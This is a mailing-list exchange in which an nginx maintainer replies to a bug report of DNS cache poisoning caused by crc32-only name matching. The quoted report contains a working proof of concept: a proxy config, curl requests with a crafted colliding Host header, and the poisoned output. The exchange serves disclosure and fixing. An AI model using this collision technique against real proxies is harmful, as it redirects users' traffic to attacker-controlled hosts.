Hello! On Wed, Sep 16, 2009 at 04:15:14PM -0700, Matthew Dempsky wrote: > nginx maintains an internal DNS cache for resolved domain names. > However, when searching the cache, nginx only checks that the crc32 of > the names match and that the shorter name is a prefix of the longer > name. It does not check that the names are equal in length. Looks like a bug, thanks. > One way to exploit this is if nginx is configured as a forward proxy. > This is an atypical use case, but it has been discussed on the nginx > mailing list before[1]. > > For example, using this nginx.conf: > > events { > worker_connections 1024; > } > > http { > resolver 4.2.2.4; > server { > listen 8080; > location / { > proxy_pass http://$http_host$request_uri; > } > } > } Note that this configuration isn't supported (and message you refer to explicitly marks it as such). I believe using nginx as forward proxy (or even reverse proxy to untrusted backends) may have other security implications as well. Don't do this, it hurts. Maxim Dounin > > You can then run curl to see the cache poisoning in effect: > > $ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org' > http://127.0.0.1:8080/ > <html> > <body> > Ho hum, nothing to see here, move along please. > </body> > </html> > > $ curl -H 'Host: www.google.com' http://127.0.0.1:8080/ > <html> > <body> > Oops, you shouldn't be asking me for http://www.google.com/! > </body> > </html> > > (Restart nginx and run only the second command to see its expected > behavior; i.e., actually fetching http://www.google.com/.) > > This works because crc32("www.google.com.") == > crc32("www.google.com.9nyz309.crc32.dempsky.org."). The first request > cached the IP address for www.google.com.9nyz309.crc32.dempsky.org, > and then the second request used this IP address instead of querying > for www.google.com's real IP address because of the matching CRCs and > the common prefix. > > [1] http://marc.info/?l=nginx&m=125257590425747&w=2 >